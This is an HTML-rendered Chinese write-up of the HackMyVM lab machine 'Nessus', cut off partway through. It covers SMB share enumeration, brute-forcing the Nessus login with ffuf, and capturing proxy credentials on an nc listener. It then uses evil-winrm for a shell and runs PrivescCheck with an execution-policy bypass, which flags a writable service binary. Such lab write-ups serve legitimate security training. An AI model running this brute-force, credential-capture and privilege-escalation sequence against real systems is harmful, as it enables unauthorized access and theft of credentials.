&lt;p&gt;C$         → 系统盘共享（默认）&lt;/p&gt;
&lt;p&gt;Documents  → ⚠️ 非默认共享（人为创建）&lt;/p&gt;
&lt;p&gt;IPC$       → 进程通信&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;&lt;code&gt;Documents&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ADMIN$&lt;/code&gt; / &lt;code&gt;C$&lt;/code&gt;&lt;br&gt;👉 &lt;strong&gt;几乎 100% 会拒绝匿名访问&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;IPC$&lt;/code&gt;&lt;br&gt;👉 只能用于会话、RPC，不是文件&lt;/li&gt;
&lt;li&gt;&lt;code&gt;**Documents**&lt;/code&gt;&lt;br&gt;👉 &lt;strong&gt;这是人为创建的共享&lt;/strong&gt;&lt;br&gt;👉 &lt;strong&gt;这是目前唯一“值得关注”的点&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;smb访问&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# smbclient  //192.168.0.107/Documents -N 

Try &amp;quot;help&amp;quot; to get a list of possible commands.
smb: \&amp;gt; dir
  .                                  DR        0  Fri Oct 18 20:42:53 2024
  ..                                  D        0  Sat Oct 19 01:08:23 2024
  desktop.ini                       AHS      402  Sat Jun 15 13:54:33 2024
  My Basic Network Scan_hwhm7q.pdf      A   122006  Fri Oct 18 18:19:59 2024
  My Music                        DHSrn        0  Sat Jun 15 13:54:27 2024
  My Pictures                     DHSrn        0  Sat Jun 15 13:54:27 2024
  My Videos                       DHSrn        0  Sat Jun 15 13:54:27 2024
  Web Application Tests_f6jg9t.pdf      A   136025  Fri Oct 18 18:20:14 2024

                12942591 blocks of size 4096. 10797127 blocks available
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;下载俩个pdf文件&lt;/p&gt;
&lt;p&gt;是俩扫描记录  查看了下没啥用&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Nessus-3.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;作者在简介里提到了不会使用&lt;code&gt;CVE漏洞&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;Just exploit a well known application without a CVE. Hope you enjoy it.&lt;/p&gt;
&lt;p&gt;尝试看一下这俩&lt;code&gt;pdf&lt;/code&gt;文件是否存在隐藏信息：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(kali㉿kali)-[~/temp/Nessus]
└─$ exiftool *       
======== desktop.ini
ExifTool Version Number         : 13.10
File Name                       : desktop.ini
Directory                       : .
File Size                       : 402 bytes
File Modification Date/Time     : 2025:06:09 03:48:20-04:00
File Access Date/Time           : 2025:06:09 03:48:46-04:00
File Inode Change Date/Time     : 2025:06:09 03:48:20-04:00
File Permissions                : -rw-r--r--
File Type                       : TXT
File Type Extension             : txt
MIME Type                       : text/plain
MIME Encoding                   : utf-16le
Byte Order Mark                 : Yes
Newlines                        : Windows CRLF
======== My Basic Network Scan_hwhm7q.pdf
ExifTool Version Number         : 13.10
File Name                       : My Basic Network Scan_hwhm7q.pdf
Directory                       : .
File Size                       : 122 kB
File Modification Date/Time     : 2025:06:09 03:48:22-04:00
File Access Date/Time           : 2025:06:09 03:48:22-04:00
File Inode Change Date/Time     : 2025:06:09 03:48:22-04:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
Linearized                      : No
Page Count                      : 5
Profile CMM Type                : Little CMS
Profile Version                 : 2.3.0
Profile Class                   : Display Device Profile
Color Space Data                : RGB
Profile Connection Space        : XYZ
Profile Date Time               : 2004:08:13 12:18:06
Profile File Signature          : acsp
Primary Platform                : Microsoft Corporation
CMM Flags                       : Not Embedded, Independent
Device Manufacturer             : Little CMS
Device Model                    : 
Device Attributes               : Reflective, Glossy, Positive, Color
Rendering Intent                : Perceptual
Connection Space Illuminant     : 0.9642 1 0.82491
Profile Creator                 : Little CMS
Profile ID                      : 7fb30d688bf82d32a0e748daf3dba95d
Device Mfg Desc                 : lcms generated
Profile Description             : sRGB
Device Model Desc               : sRGB
Media White Point               : 0.95015 1 1.08826
Red Matrix Column               : 0.43585 0.22238 0.01392
Blue Matrix Column              : 0.14302 0.06059 0.71384
Green Matrix Column             : 0.38533 0.71704 0.09714
Red Tone Reproduction Curve     : (Binary data 2060 bytes, use -b option to extract)
Green Tone Reproduction Curve   : (Binary data 2060 bytes, use -b option to extract)
Blue Tone Reproduction Curve    : (Binary data 2060 bytes, use -b option to extract)
Chromaticity Channels           : 3
Chromaticity Colorant           : Unknown
Chromaticity Channel 1          : 0.64 0.33
Chromaticity Channel 2          : 0.3 0.60001
Chromaticity Channel 3          : 0.14999 0.06
Profile Copyright               : no copyright, use freely
XMP Toolkit                     : Image::ExifTool 12.76
Date                            : 2024:10:18 15:10:05+02:00
Format                          : application/pdf
Language                        : x-unknown
Author                          : Jose
PDF Version                     : 1.4
Producer                        : Apache FOP Version 2.8
Create Date                     : 2024:10:18 15:10:05+02:00
Creator Tool                    : Apache FOP Version 2.8
Metadata Date                   : 2024:10:18 15:10:05+02:00
Page Mode                       : UseOutlines
Creator                         : Apache FOP Version 2.8
======== Web Application Tests_f6jg9t.pdf
ExifTool Version Number         : 13.10
File Name                       : Web Application Tests_f6jg9t.pdf
Directory                       : .
File Size                       : 136 kB
File Modification Date/Time     : 2025:06:09 03:48:22-04:00
File Access Date/Time           : 2025:06:09 03:48:23-04:00
File Inode Change Date/Time     : 2025:06:09 03:48:22-04:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
Linearized                      : No
Page Count                      : 6
Profile CMM Type                : Little CMS
Profile Version                 : 2.3.0
Profile Class                   : Display Device Profile
Color Space Data                : RGB
Profile Connection Space        : XYZ
Profile Date Time               : 2004:08:13 12:18:06
Profile File Signature          : acsp
Primary Platform                : Microsoft Corporation
CMM Flags                       : Not Embedded, Independent
Device Manufacturer             : Little CMS
Device Model                    : 
Device Attributes               : Reflective, Glossy, Positive, Color
Rendering Intent                : Perceptual
Connection Space Illuminant     : 0.9642 1 0.82491
Profile Creator                 : Little CMS
Profile ID                      : 7fb30d688bf82d32a0e748daf3dba95d
Device Mfg Desc                 : lcms generated
Profile Description             : sRGB
Device Model Desc               : sRGB
Media White Point               : 0.95015 1 1.08826
Red Matrix Column               : 0.43585 0.22238 0.01392
Blue Matrix Column              : 0.14302 0.06059 0.71384
Green Matrix Column             : 0.38533 0.71704 0.09714
Red Tone Reproduction Curve     : (Binary data 2060 bytes, use -b option to extract)
Green Tone Reproduction Curve   : (Binary data 2060 bytes, use -b option to extract)
Blue Tone Reproduction Curve    : (Binary data 2060 bytes, use -b option to extract)
Chromaticity Channels           : 3
Chromaticity Colorant           : Unknown
Chromaticity Channel 1          : 0.64 0.33
Chromaticity Channel 2          : 0.3 0.60001
Chromaticity Channel 3          : 0.14999 0.06
Profile Copyright               : no copyright, use freely
XMP Toolkit                     : Image::ExifTool 12.76
Date                            : 2024:10:18 15:10:19+02:00
Format                          : application/pdf
Language                        : x-unknown
Author                          : Jose
PDF Version                     : 1.4
Producer                        : Apache FOP Version 2.8
Create Date                     : 2024:10:18 15:10:19+02:00
Creator Tool                    : Apache FOP Version 2.8
Metadata Date                   : 2024:10:18 15:10:19+02:00
Page Mode                       : UseOutlines
Creator                         : Apache FOP Version 2.8
    3 image files read
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;爆破登录信息&lt;/h2&gt;
&lt;p&gt;发现了作者信息为&lt;code&gt;Jose&lt;/code&gt;，尝试抓包爆破那个登录界面：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Nessus-4.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt; 得到密码：&lt;code&gt;tequiero&lt;/code&gt;。也可以使用别的办法比如ffuf&lt;/p&gt;
&lt;p&gt;这我尝试过hydra一直报错我真没招了&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(kali㉿kali)-[~/temp/Nessus]
└─$ ffuf -u &amp;#39;https://192.168.10.100:8834/session&amp;#39; -w /usr/share/wordlists/rockyou.txt -d &amp;#39;{&amp;quot;username&amp;quot;:&amp;quot;jose&amp;quot;,&amp;quot;password&amp;quot;:&amp;quot;FUZZ&amp;quot;}&amp;#39; -H &amp;#39;Content-Type: application/json&amp;#39; -fc 401

        /&amp;#39;___\  /&amp;#39;___\           /&amp;#39;___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : https://192.168.10.100:8834/session
 :: Wordlist         : FUZZ: /usr/share/wordlists/rockyou.txt
 :: Header           : Content-Type: application/json
 :: Data             : {&amp;quot;username&amp;quot;:&amp;quot;jose&amp;quot;,&amp;quot;password&amp;quot;:&amp;quot;FUZZ&amp;quot;}
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 401
________________________________________________

tequiero                [Status: 200, Size: 179, Words: 1, Lines: 1, Duration: 1796ms]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;登录获取认证信息&lt;/h3&gt;
&lt;p&gt;网上搜了下没找到反弹shell方法&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Nessus-5.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;将攻击机ip端口添加上去nc进行监听&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# nc -lvvp 4444
listening on [any] 4444 ...
192.168.0.107: inverse host lookup failed: Unknown host
connect to [192.168.0.108] from (UNKNOWN) [192.168.0.107] 49758

EHLO Nessus

RSET

MAIL FROM: &amp;lt;&amp;gt;

QUIT

 sent 5, rcvd 40 : Connection reset by peer
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;没啥东西，换一个&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Nessus-6.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# nc -lvvp 4444
listening on [any] 4444 ...
192.168.0.107: inverse host lookup failed: Unknown host
connect to [192.168.0.108] from (UNKNOWN) [192.168.0.107] 49784
CONNECT plugins.nessus.org:443 HTTP/1.1
Host: plugins.nessus.org
Connection: keep-Alive
User-Agent: Nessus/10.7.3
Content-Length: 0
Proxy-Connection: Keep-Alive


&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;没啥东西 切换一下&lt;code&gt;Auth Method&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;换到basic时出现编码&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# nc -lvvp 4444
listening on [any] 4444 ...
192.168.0.107: inverse host lookup failed: Unknown host
connect to [192.168.0.108] from (UNKNOWN) [192.168.0.107] 49809
CONNECT plugins.nessus.org:443 HTTP/1.1
Proxy-Authorization: Basic bmVzdXM6WiNKdVhIJHBoLTt2QCxYJm1WKQ==
Host: plugins.nessus.org
Connection: keep-Alive
User-Agent: Nessus/10.7.3
Content-Length: 0
Proxy-Connection: Keep-Alive
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(kali㉿kali)-[~]
└─$ echo &amp;#39;bmVzdXM6WiNKdVhIJHBoLTt2QCxYJm1WKQ==&amp;#39; |base64 -d   
nesus:Z#JuXH$ph-;v@,X&amp;amp;mV) 
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;二次信息收集&lt;/h1&gt;
&lt;h2&gt;enum4linux&lt;/h2&gt;
&lt;p&gt;尝试了下没成功&lt;/p&gt;
&lt;h3&gt;crackmapexec&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# crackmapexec smb 192.168.0.107 --groups --loggedon-users -u nesus -p &amp;#39;Z#JuXH$ph-;v@,X&amp;amp;mV)&amp;#39;
SMB         192.168.0.107   445    NESSUS           [*] Windows Server 2022 Build 20348 x64 (name:NESSUS) (domain:Nessus) (signing:False) (SMBv1:False)
SMB         192.168.0.107   445    NESSUS           [-] Nessus\nesus:Z#JuXH$ph-;v@,X&amp;amp;mV) STATUS_PASSWORD_EXPIRED 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;STATUS_PASSWORD_EXPIRED &lt;/p&gt;
&lt;h1&gt;靶机密码过期&lt;/h1&gt;
&lt;p&gt;windows靶机的常见bug，认证过期了，尝试重置密码进行更新靶机： &lt;/p&gt;
&lt;p&gt;&lt;code&gt;ctrl+alt+del&lt;/code&gt;(virtualbox 里面是右键ctrl+del)解锁，然后按esc返回上一级：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Nessus-7.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;点击&lt;code&gt;nesus&lt;/code&gt;，然后输入密码以后：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Nessus-8.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;enter&lt;/code&gt;一下，换完密码以后：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Nessus-9.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;这里再&lt;code&gt;enter&lt;/code&gt;一下，我修改的是&lt;code&gt;password&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;evil-winrm连接&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# evil-winrm -i 192.168.0.107 -u &amp;#39;nesus&amp;#39; -p &amp;#39;password&amp;#39;

                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc&amp;#39; for module Reline                                              
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion                                                         
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\nesus\Documents&amp;gt; 
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;提权&lt;/h1&gt;
&lt;p&gt;上传msf木马被杀了&lt;/p&gt;
&lt;p&gt;上传winPEAS被杀了，上传winPEAS.bat倒是成功&lt;/p&gt;
&lt;p&gt;不过，没找到什么提权点&lt;/p&gt;
&lt;p&gt;用到了这个脚本：&lt;a href=&quot;https://github.com/itm4n/PrivescCheck&quot;&gt;https://github.com/itm4n/PrivescCheck&lt;/a&gt;  &lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;*Evil-WinRM* PS C:\Users\nesus\Documents&amp;gt; .\PrivescCheck.ps1
*Evil-WinRM* PS C:\Users\nesus\Documents&amp;gt; Invoke-PrivescCheck
The term &amp;#39;Invoke-PrivescCheck&amp;#39; is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
At line:1 char:1
+ Invoke-PrivescCheck
+ ~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (Invoke-PrivescCheck:String) [], CommandNotFoundException
    + FullyQualifiedErrorId : CommandNotFoundException
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;👉 只会“跑一遍脚本文件”&lt;br&gt;👉 不会把里面定义的函数注册到当前 PowerShell 会话&lt;/p&gt;
&lt;p&gt;所以后面：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Invoke-PrivescCheck
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;必然报：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;CommandNotFoundException
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;✅ 正确姿势（就差这一步）&lt;/h2&gt;
&lt;h3&gt;✅ 方法 1（最推荐）：点源（dot sourcing）&lt;/h3&gt;
&lt;p&gt;⚠️ 注意：前面有一个点 + 空格&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;. .\PrivescCheck.ps1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后再执行：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Invoke-PrivescCheck
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;✔ 这一步才是“把函数加载进当前会话”&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;✅ 方法 2：Import-Module（也行）&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Import-Module .\PrivescCheck.ps1
Invoke-PrivescCheck
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;*Evil-WinRM* PS C:\Users\nesus\Documents&amp;gt; .\PrivescCheck.ps1
*Evil-WinRM* PS C:\Users\nesus\Documents&amp;gt; Invoke-PrivescCheck
The term &amp;#39;Invoke-PrivescCheck&amp;#39; is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
At line:1 char:1
+ Invoke-PrivescCheck
+ ~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (Invoke-PrivescCheck:String) [], CommandNotFoundException
    + FullyQualifiedErrorId : CommandNotFoundException
*Evil-WinRM* PS C:\Users\nesus\Documents&amp;gt; powershell -ep bypass -c &amp;quot;. .\PrivescCheck.ps1; Invoke-PrivescCheck&amp;quot;
????????????????????????????????????????????????????????????????
? CATEGORY ? TA0043 - Reconnaissance                           ?
? NAME     ? User - Identity                                   ?
? TYPE     ? Base                                              ?
????????????????????????????????????????????????????????????????
? Get information about the current user (name, domain name)   ?
? and its access token (SID, integrity level, authentication   ?
? ID).                                                         ?
????????????????????????????????????????????????????????????????


Name             : NESSUS\nesus
SID              : S-1-5-21-2986980474-46765180-2505414164-1001
IntegrityLevel   : Medium Mandatory Level (S-1-16-8192)
SessionId        : 0
TokenId          : 00000000-000a8454
AuthenticationId : 00000000-00091fba
OriginId         : 00000000-00000000
ModifiedId       : 00000000-00091fd8
Source           : NtLmSsp (00000000-00000000)



[*] Status: Informational - Severity: None - Execution time: 00:00:00.190


????????????????????????????????????????????????????????????????
? CATEGORY ? TA0043 - Reconnaissance                           ?
? NAME     ? User - Groups                                     ?
? TYPE     ? Base                                              ?
????????????????????????????????????????????????????????????????
? Get information about the groups the current user belongs to ?
? (name, type, SID).                                           ?
????????????????????????????????????????????????????????????????

Name                                   Type           SID
----                                   ----           ---
NESSUS\None                            Group          S-1-5-21-2986980474-46765180-2505414164-513
Everyone                               WellKnownGroup S-1-1-0
BUILTIN\Remote Management Users        Alias          S-1-5-32-580
BUILTIN\Users                          Alias          S-1-5-32-545
NT AUTHORITY\NETWORK                   WellKnownGroup S-1-5-2
NT AUTHORITY\Authenticated Users       WellKnownGroup S-1-5-11
NT AUTHORITY\This Organization         WellKnownGroup S-1-5-15
NT AUTHORITY\Local account             WellKnownGroup S-1-5-113
NT AUTHORITY\NTLM Authentication       WellKnownGroup S-1-5-64-10
Mandatory Label\Medium Mandatory Level Label          S-1-16-8192


[*] Status: Informational - Severity: None - Execution time: 00:00:00.101


????????????????????????????????????????????????????????????????
? CATEGORY ? TA0004 - Privilege Escalation                     ?
? NAME     ? User - Privileges                                 ?
? TYPE     ? Base                                              ?
????????????????????????????????????????????????????????????????
? Check whether the current user is granted privileges that    ?
? can be leveraged for local privilege escalation.             ?
????????????????????????????????????????????????????????????????

Name                          State   Description                    Exploitable
----                          -----   -----------                    -----------
SeChangeNotifyPrivilege       Enabled Bypass traverse checking             False
SeIncreaseWorkingSetPrivilege Enabled Increase a process working set       False


[*] Status: Informational (not vulnerable) - Severity: None - Execution time: 00:00:00.068


????????????????????????????????????????????????????????????????
? CATEGORY ? TA0004 - Privilege Escalation                     ?
? NAME     ? User - Privileges (GPO)                           ?
? TYPE     ? Base                                              ?
????????????????????????????????????????????????????????????????
? Check whether the current user is granted privileges,        ?
? through a group policy, that can be leveraged for local      ?
? privilege escalation.                                        ?
????????????????????????????????????????????????????????????????
[*] Status: Informational (not vulnerable) - Severity: None - Execution time: 00:00:00.114


????????????????????????????????????????????????????????????????
? CATEGORY ? TA0006 - Credential Access                        ?
? NAME     ? User - Environment Variables                      ?
? TYPE     ? Base                                              ?
????????????????????????????????????????????????????????????????
? Check whether any environment variables contain sensitive    ?
? information such as credentials or secrets. Note that this   ?
? check follows a keyword-based approach and thus might not be ?
? completely reliable.                                         ?
????????????????????????????????????????????????????????????????
[*] Status: Informational (nothing found) - Severity: None - Execution time: 00:00:00.046


????????????????????????????????????????????????????????????????
? CATEGORY ? TA0004 - Privilege Escalation                     ?
? NAME     ? Services - Non-Default Services                   ?
? TYPE     ? Base                                              ?
????????????????????????????????????????????????????????????????
? Get information about third-party services. It does so by    ?
? parsing the target executable&amp;#39;s metadata and checking        ?
? whether the publisher is Microsoft.                          ?
????????????????????????????????????????????????????????????????


Name        : fsMT
DisplayName : fsMT
ImagePath   : C:\Windows\gAwFavaS.exe
User        : LocalSystem
StartMode   : Manual

Name        : ssh-agent
DisplayName : OpenSSH Authentication Agent
ImagePath   : C:\Windows\System32\OpenSSH\ssh-agent.exe
User        : LocalSystem
StartMode   : Disabled

Name        : Tenable Nessus
DisplayName : Tenable Nessus
ImagePath   : &amp;quot;C:\Program Files\Tenable\Nessus\nessus-service.exe&amp;quot;
User        : LocalSystem
StartMode   : Automatic

Name        : tldJ
DisplayName : tldJ
ImagePath   : C:\Windows\iAkZGZHW.exe
User        : LocalSystem
StartMode   : Manual



[*] Status: Informational - Severity: None - Execution time: 00:00:01.121


????????????????????????????????????????????????????????????????
? CATEGORY ? TA0004 - Privilege Escalation                     ?
? NAME     ? Services - Known Vulnerable Kernel Drivers        ?
? TYPE     ? Base                                              ?
????????????????????????????????????????????????????????????????
? Check whether known vulnerable kernel drivers are installed. ?
? It does so by computing the file hash of each driver and     ?
? comparing the value against the list provided by             ?
? loldrivers.io.                                               ?
????????????????????????????????????????????????????????????????
WARNING: Service: RasGre | Path not found: C:\Windows\System32\drivers\rasgre.sys
[*] Status: Informational (not vulnerable) - Severity: None - Execution time: 00:00:16.700


????????????????????????????????????????????????????????????????
? CATEGORY ? TA0004 - Privilege Escalation                     ?
? NAME     ? Services - Permissions                            ?
? TYPE     ? Base                                              ?
????????????????????????????????????????????????????????????????
? Check whether the current user has any write permissions on  ?
? a service through the Service Control Manager (SCM).         ?
????????????????????????????????????????????????????????????????
[*] Status: Informational (not vulnerable) - Severity: None - Execution time: 00:00:05.880


????????????????????????????????????????????????????????????????
? CATEGORY ? TA0004 - Privilege Escalation                     ?
? NAME     ? Services - Registry Permissions                   ?
? TYPE     ? Base                                              ?
????????????????????????????????????????????????????????????????
? Check whether the current user has any write permissions on  ?
? the configuration of a service in the registry.              ?
????????????????????????????????????????????????????????????????
[*] Status: Informational (not vulnerable) - Severity: None - Execution time: 00:00:01.299


????????????????????????????????????????????????????????????????
? CATEGORY ? TA0004 - Privilege Escalation                     ?
? NAME     ? Services - Image File Permissions                 ?
? TYPE     ? Base                                              ?
????????????????????????????????????????????????????????????????
? Check whether the current user has any write permissions on  ?
? a service&amp;#39;s binary or its folder.                            ?
????????????????????????????????????????????????????????????????
WARNING: QueryServiceStatusEx - The handle is invalid (6)


Name              : Tenable Nessus
DisplayName       : Tenable Nessus
User              : LocalSystem
ImagePath         : &amp;quot;C:\Program Files\Tenable\Nessus\nessus-service.exe&amp;quot;
StartMode         : Automatic
Type              : Win32OwnProcess
RegistryKey       : HKLM\SYSTEM\CurrentControlSet\Services
RegistryPath      : HKLM\SYSTEM\CurrentControlSet\Services\Tenable Nessus
Status            :
UserCanStart      : False
UserCanStop       : False
ModifiablePath    : C:\Program Files\Tenable\Nessus\nessus-service.exe
IdentityReference : NESSUS\nesus (S-1-5-21-2986980474-46765180-2505414164-1001)
Permissions       : AllAccess



[*] Status: Vulnerable - Severity: High - Execution time: 00:00:05.979


????????????????????????????????????????????????????????????????
? CATEGORY ? TA0004 - Privilege Escalation                     ?
? NAME     ? Services - Unquoted Paths                         ?
? TYPE     ? Base                                              ?
????????????????????????????????????????????????????????????????
? Check whether there are services configured with an          ?
? exploitable unquoted path that contains spaces.              ?
????????????????????????????????????????????????????????????????
[*] Status: Informational (not vulnerable) - Severity: None - Execution time: 00:00:00.082


????????????????????????????????????????????????????????????????
? CATEGORY ? TA0004 - Privilege Escalation                     ?
? NAME     ? Services - Service Control Manager Permissions    ?
? TYPE     ? Base                                              ?
????????????????????????????????????????????????????????????????
? Check whether the current user has any write permissions on  ?
? the Service Control Manager (SCM).                           ?
????????????????????????????????????????????????????????????????
[*] Status: Informational (not vulnerable) - Severity: None - Execution time: 00:00:00.036


????????????????????????????????????????????????????????????????
? CATEGORY ? TA0004 - Privilege Escalation                     ?
? NAME     ? Scheduled Tasks - Image File Permissions          ?
? TYPE     ? Base                                              ?
????????????????????????????????????????????????????????????????
? Check whether the current user has any write permissions on  ?
? a scheduled task&amp;#39;s binary or its folder. Note that           ?
? low-privileged users cannot list all the scheduled tasks.    ?
????????????????????????????????????????????????????????????????
[*] Status: Informational (not vulnerable) - Severity: None - Execution time: 00:00:01.279


????????????????????????????????????????????????????????????????
? CATEGORY ? TA0006 - Credential Access                        ?
? NAME     ? Credentials - Hive File Permissions               ?
? TYPE     ? Base                                              ?
????????????????????????????????????????????????????????????????
? Check whether the current user has read permissions on the   ?
? SAM/SYSTEM/SECURITY hive files, either in the system folder  ?
? or in volume shadow copies (CVE-2021-36934 - HiveNightmare). ?
????????????????????????????????????????????????????????????????
WARNING: NtOpenSymbolicLinkObject(&amp;#39;\Device\BootDevice&amp;#39;) - Access is denied (5)
[*] Status: Informational (not vulnerable) - Severity: None - Execution time: 00:00:00.213


????????????????????????????????????????????????????????????????
? CATEGORY ? TA0006 - Credential Access                        ?
? NAME     ? Credentials - Unattend Files                      ?
? TYPE     ? Base                                              ?
????????????????????????????????????????????????????????????????
? Check whether there are any &amp;#39;unattend&amp;#39; files and whether     ?
? they contain clear-text credentials.                         ?
????????????????????????????????????????????????????????????????
[*] Status: Informational (not vulnerable) - Severity: None - Execution time: 00:00:00.023


????????????????????????????????????????????????????????????????
? CATEGORY ? TA0006 - Credential Access                        ?
? NAME     ? Credentials - WinLogon                            ?
? TYPE     ? Base                                              ?
????????????????????????????????????????????????????????????????
? Check whether the &amp;#39;WinLogon&amp;#39; registry key contains           ?
? clear-text credentials. Note that entries with an empty      ?
? password field are filtered out.                             ?
????????????????????????????????????????????????????????????????
[*] Status: Informational (not vulnerable) - Severity: None - Execution time: 00:00:00.026


WARNING: Check &amp;#39;Credentials - Vault (creds)&amp;#39; is categorized as risky, but the option &amp;#39;-Risky&amp;#39; was
not specified, ignoring...
WARNING: Check &amp;#39;Credentials - Vault (list)&amp;#39; is categorized as risky, but the option &amp;#39;-Risky&amp;#39; was
not specified, ignoring...
????????????????????????????????????????????????????????????????
? CATEGORY ? TA0006 - Credential Access                        ?
? NAME     ? Credentials - Group Policy Preferences (GPP)      ?
? TYPE     ? Base                                              ?
????????????????????????????????????????????????????????????????
? Check whether there are cached Group Policy Preference (GPP) ?
? files that contain clear-text passwords.                     ?
????????????????????????????????????????????????????????????????
[*] Status: Informational (not vulnerable) - Severity: None - Execution time: 00:00:00.040


????????????????????????????????????????????????????????????????
? CATEGORY ? TA0006 - Credential Access                        ?
? NAME     ? Credentials - SCCM Network Access Account (NAA)   ?
? TYPE     ? Base                                              ?
????????????????????????????????????????????????????????????????
? Check whether SCCM NAA credentials are stored in the WMI     ?
? repository. If so, the username and password DPAPI blobs are ?
? returned, but can only be decrypted using the SYSTEM&amp;#39;s DPAPI ?
? user key.                                                    ?
????????????????????????????????????????????????????????????????
[*] Status: Informational (not vulnerable) - Severity: None - Execution time: 00:00:00.220


????????????????????????????????????????????????????????????????
? CATEGORY ? TA0006 - Credential Access                        ?
? NAME     ? Credentials - SCCM Cache Folder                   ?
? TYPE     ? Base                                              ?
????????????????????????????????????????????????????????????????
? Check whether the SCCM cache folders contain files with      ?
? potentially hard coded credentials, or secrets, using basic  ?
? keywords such as &amp;#39;password&amp;#39;, or &amp;#39;secret&amp;#39;.                    ?
????????????????????????????????????????????????????????????????
[*] Status: Informational (not vulnerable) - Severity: None - Execution time: 00:00:00.024


????????????????????????????????????????????????????????????????
? CATEGORY ? TA0006 - Credential Access                        ?
? NAME     ? Credentials - Symantec Account Connectivity       ?
? TYPE     ? Base                                              ?
????????????????????????????????????????????????????????????????
? Check whether a Symantec Management Agent (SMA) is installed ?
? and whether Account Connectivity Credentials (ACCs) are      ?
